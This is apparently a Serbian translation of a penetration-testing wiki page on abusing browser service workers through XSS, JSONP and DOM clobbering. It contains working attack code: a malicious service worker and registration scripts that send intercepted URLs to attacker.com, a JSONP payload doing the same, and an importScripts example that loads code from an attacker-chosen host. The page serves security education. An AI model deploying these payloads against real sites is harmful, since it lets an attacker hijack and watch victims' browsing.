Abusing Service Workers

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group


Osnovne informacije

Servisni radnik je skripta koju vaš pregledač pokreće u pozadini, odvojeno od bilo koje veb stranice, omogućavajući funkcije koje ne zahtevaju veb stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti offline i obrade u pozadini. Detaljne informacije o servisnim radnicima mogu se pronaći ovde. Iskorišćavanjem servisnih radnika unutar ranjive veb domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene.

Provera postojanja servisnih radnika

Postojeće servisne radnike možete proveriti u odeljku Servisni radnici u kartici Aplikacija u Alatkama za razvoj. Drugi način je posetiti chrome://serviceworker-internals za detaljniji prikaz.

Obaveštenja o guranju

Dozvole za obaveštenja o guranju direktno utiču na sposobnost servisnog radnika da komunicira sa serverom bez direktnog korisničkog interakcije. Ako su dozvole odbijene, ograničava potencijal servisnog radnika da predstavlja kontinuiranu pretnju. Nasuprot tome, davanje dozvola povećava rizike bezbednosti omogućavajući prijem i izvršenje potencijalnih eksploatacija.

Napad kreiranja servisnog radnika

Da biste iskoristili ovu ranjivost, morate pronaći:

  • Način za učitavanje proizvoljnih JS fajlova na server i XSS za učitavanje servisnog radnika učitanog JS fajla

  • Ranjiv JSONP zahtev gde možete manipulisati izlazom (sa proizvoljnim JS kodom) i XSS za učitavanje JSONP-a sa payloadom koji će učitati zlonamernog servisnog radnika.

U sledećem primeru ću prikazati kod za registrovanje novog servisnog radnika koji će osluškivati događaj fetch i slati serveru napadača svaki preuzeti URL (ovo je kod koji biste trebali učitati na server ili učitati putem ranjivog JSONP odgovora):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

I ovo je kod koji će registrovati radnika (kod koji biste trebali moći da izvršite zloupotrebom XSS-a). U ovom slučaju će GET zahtev biti poslat napadačevom serveru obaveštavajući da li je registracija servisnog radnika bila uspešna ili ne:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

U slučaju zloupotrebe ranjive JSONP tačke, trebalo bi da stavite vrednost unutar var sw. Na primer:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Postoji C2 posvećen eksploataciji servisnih radnika nazvan Shadow Workers koji će biti vrlo koristan za zloupotrebu ovih ranjivosti.

Direktiva keša od 24 sata ograničava život zlonamernog ili kompromitovanog servisnog radnika (SW) na najviše 24 sata nakon popravke ranjivosti XSS-a, uz pretpostavku statusa online klijenta. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti vreme života skripte SW-a (TTL). Razvojni programeri takođe se savetuju da kreiraju prekidač za gašenje servisnog radnika za brzo deaktiviranje.

Zloupotreba importScripts u SW putem DOM Clobbering

Funkcija importScripts pozvana iz Servisnog Radnika može uvoziti skriptu sa različite domene. Ako se ova funkcija pozove koristeći parametar koji napadač može izmeniti, on bi mogao uvoziti JS skriptu sa svoje domene i dobiti XSS.

Ovo čak zaobilazi zaštitu CSP-a.

Primer ranjivog koda:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Sa DOM Clobbering-om

Za više informacija o tome šta je DOM Clobbering, pogledajte:

pageDom Clobbering

Ako je URL/domenu gde SW koristi importScripts unutar HTML elementa, moguće je izmeniti ga putem DOM Clobbering-a kako bi SW učitao skriptu sa vaše sopstvene domene.

Za primer pogledajte referentni link.

Reference

Try Hard Security Group

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated